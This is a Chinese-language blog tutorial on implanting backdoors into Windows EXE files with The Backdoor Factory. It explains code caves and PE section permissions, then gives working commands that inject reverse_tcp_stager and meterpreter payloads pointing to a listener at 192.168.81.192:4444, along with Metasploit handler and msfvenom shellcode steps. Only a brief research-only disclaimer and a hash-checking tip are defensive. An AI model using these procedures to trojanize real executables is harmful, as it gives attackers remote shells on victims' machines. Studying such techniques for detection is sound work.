利用 BDF 向 EXE 文件植入后门

发布于 2025-02-19 10:20:03 字数 9640 浏览 11 评论 0

0x00 前言

The Backdoor Factory 可用来向可执行文件植入后门,修改程序执行流程,执行添加的 payload。

本文将要介绍向 EXE 文件植入后门的原理,测试 The Backdoor Factory 植入后门的方法,分析细节,总结思路。

The Backdoor Factory 下载地址:https://github.com/secretsquirrel/the-backdoor-factory

0x01 简介

本文将要介绍如下内容:

  • EXE 文件后门植入原理
  • 实际测试 The Backdoor Factory
  • 分析 The Backdoor Factory 功能

0x02 基础知识

PE 文件格式:

参考资料:https://en.wikibooks.org/wiki/X86_Disassembly/Windows_Executable_Files

Code Caves:

参考资料:https://www.codeproject.com/Articles/20240/The-Beginners-Guide-to-Codecaves

Code Caves 的直观认识:

使用 vc6.0 生成 exe 文件,查看文件中可利用的 Code Caves

c 代码:

#include "stdafx.h"
#include <windows.h>
#include <stdio.h>

int array[200]={1,2,3,4,5,6,7,8,9};
char array2[200]="123456789ABCDEF";

int main(int argc, char* argv[])
{
    printf("hello world");    
    return 0;
}

Release 编译生成文件,使用 Immunity Debugger 打开

View - Memory (快捷键 Alt+M)

如下图

Alt text

hello.exe 包含四个区段,分别为 PE header.text.rdata.data

查看 hello.exe 的 .data

如下图

Alt text

发现大段的 0x00 数据,这些位置可被替换成 payload

0x03 文件后门植入原理

植入原理

修改程序的执行流程,跳转到 Code Caves,执行 payload,再返回至程序的正常流程

需要注意的是程序默认只有 .text 段具有执行权限,如果将 payload 添加到其他段(如 .data.rdata ),需要将该段添加执行权限

注:

实际使用可通过跳转多个 Code Caves 拼凑执行 payload

利用思路

1、新加区段,权限为可读可写可执行(RWE)

可使用工具 LordPE

手动添加可参考资料:

https://www.exploit-db.com/docs/42061.pdf

优点:

简单直接,不需要考虑文件 Code Caves 的大小

缺点:

增加文件长度

2、使用 Code Caves

搜索已有区段,寻找是否存在可用的 Code Caves,对于不可执行的区段,还需要添加可执行权限

优点:

不改变文件大小

缺点:

需要考虑 Code Caves 的大小是否满足 payload 长度

0x04 实际测试 The Backdoor Factory

Kali 2.0 默认集成 The Backdoor Factory ,路径为 usr/share/backdoor-factory

测试系统选为 Kali 2.0

为便于测试,测试 exe 代码如下:

#include <windows.h>
#include <stdio.h>

int array[200]={1,2,3,4,5,6,7,8,9};
char array2[200]="123456789ABCDEF";

int main(int argc, char* argv[])
{
    printf("hello world\n");    
    system("PAUSE"); 
    return 0;
}

程序输出 hello world 后暂停

下面挑选 The Backdoor Factory 中常见的功能进行介绍

1、检查该文件是否适用于 The Backdoor Factory

./backdoor.py -f test.exe -S

输出如下:

[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
test.exe is supported.

2、获取该文件的可用 payload

./backdoor.py -f test.exe -s show

输出如下图

Alt text

可用 payload 如下:

  • cave_miner_inline
  • iat_reverse_tcp_inline
  • iat_reverse_tcp_inline_threaded
  • iat_reverse_tcp_stager_threaded
  • iat_user_supplied_shellcode_threaded
  • meterpreter_reverse_https_threaded
  • reverse_shell_tcp_inline
  • reverse_tcp_stager_threaded
  • user_supplied_shellcode_threaded

名称解析:

cave_miner_inline:

作为 payload 模板,长度为 135,仅实现了控制流程跳转,不做其他操作,可用作自定义开发 shellcode 的模板

反汇编的 payload 格式如下图

Alt text

reverse_shell_tcp_inline:

对应 meterpreter server:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp

meterpreter_reverse_https_threaded:

对应 meterpreter server:

use exploit/multi/handler
set payload windows/meterpreter/reverse_https

iat_reverse_tcp_inline 中的 iat:

iat 为 Import Address Table(导入地址表) 的缩写,如果 PE 文件的 IAT 不包含 API LoadLibraryA 和 GetProcAddress,直接执行 payload reverse_shell_tcp_inline 会失败, iat_reverse_tcp_inline 增加了修复 IAT 的功能,避免执行失败

user_supplied_shellcode_threaded:

自定义 payload,payload 可通过 msf 生成

3、搜索该文件可用的 Code Caves

./backdoor.py -f test.exe -c

如果 payload 长度为 703,那么 Code Caves 需要满足长度大于 703,参数如下:

./backdoor.py -f test.exe -c -l 703

输出如下图

Alt text

共找到三个可供利用的位置:

No section
->Begin Cave 0x240
->End of Cave 0x1000
Size of Cave (int) 3520
**************************************************
No section
->Begin Cave 0x693a
->End of Cave 0x700c
Size of Cave (int) 1746
**************************************************
We have a winner: .data
->Begin Cave 0x7051
->End of Cave 0x7350
Size of Cave (int) 767
SizeOfRawData 0x1000
PointerToRawData 0x7000
End of Raw Data: 0x8000

输出的地址为相对虚拟地址(Relative Virtual Address),即相对于文件头(基地址 Image Base) 的偏移地址

在内存中的实际地址(虚拟地址 Virtual Address)=Image Base+RVA

ImageBase = 0x00400000

使用 Immunity Debugger 查看内存结构,进行验证

内存结构如下图

Alt text

(1)

No section ->Begin Cave 0x240 ->End of Cave 0x1000 Size of Cave (int) 3520

内存中实际地址为 0x00400240-0x00401000,位于 PE header 中,默认权限为 R

查看内存地址数据如下图

Alt text

(2)

No section ->Begin Cave 0x693a ->End of Cave 0x700c Size of Cave (int) 1746

内存中实际地址为 0x0040693a-0x0040700c,位于.rdata 段中,默认权限为 R

查看内存地址数据如下图

Alt text

(3)

We have a winner: .data ->Begin Cave 0x7051 ->End of Cave 0x7350 Size of Cave (int) 767

内存中实际地址为 0x00407051-0x00407350,位于.data 段中,默认权限为 RW

查看内存地址数据如下图

Alt text

可以看到,通过 The Backdoor Factory 找到的 Code Caves 均符合要求

4、添加 payload

这里选用 reverse_tcp_stager_threaded 进行测试,payload 长度为 703

Server:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp

(1) 添加新区段,保存 payload

./backdoor.py -f test.exe -H 192.168.81.192 -P 4444 -s reverse_tcp_stager_threaded -a -o test1.exe

新区段名称为 .sdata ,权限为 RWE

如下图

Alt text

若指定新添加区段名称为 aaa,参数如下:

./backdoor.py -f test.exe -H 192.168.81.192 -P 4444 -s reverse_tcp_stager_threaded -a -n aaa -o test1.exe

(2) payload 保存到.data 段中

./backdoor.py -f test.exe -H 192.168.81.192 -P 4444 -s reverse_tcp_stager_threaded -o test2.exe

根据提示选择 .data

.data 段权限更改为 RWE ,如下图

Alt text

程序入口点添加跳转代码 JMP TEST2.004070550x00407055 保存添加的 payload

如下图

Alt text

(3) payload 保存到其他段中

./backdoor.py -f test.exe -H 192.168.81.192 -P 4444 -s reverse_tcp_stager_threaded -o test3.exe

根据提示选择 PE header,如下图

Alt text

执行会报错,需要对其进行修复

可使用工具 nasm_shell 将汇编代码转换为十六进制数据

Kali2.0 默认集成 nasm_shell

工具使用如下图

Alt text

(4) 自定义 payload

生成 payload:

msfvenom -p windows/messagebox -f raw >msg.bin

添加 payload:

./backdoor.py -f test.exe -s user_supplied_shellcode_threaded -U msg.bin -o test4.exe

测试如下图

Alt text

0x05 小结

本文介绍了使用 The Backdoor Factory 向 EXE 文件植入后门的方法,利用 Code Caves 能够不改变原文件的大小。当然,该利用方法已经被杀毒软件查杀,本文介绍的内容仅作技术研究。站在防御的角度,下载文件时需要多加注意,只从可信源下载程序,同时校验文件 hash。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

走走停停

暂无简介

文章
评论
28 人气
更多

推荐作者

櫻之舞

文章 0 评论 0

弥枳

文章 0 评论 0

m2429

文章 0 评论 0

野却迷人

文章 0 评论 0

我怀念的。

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文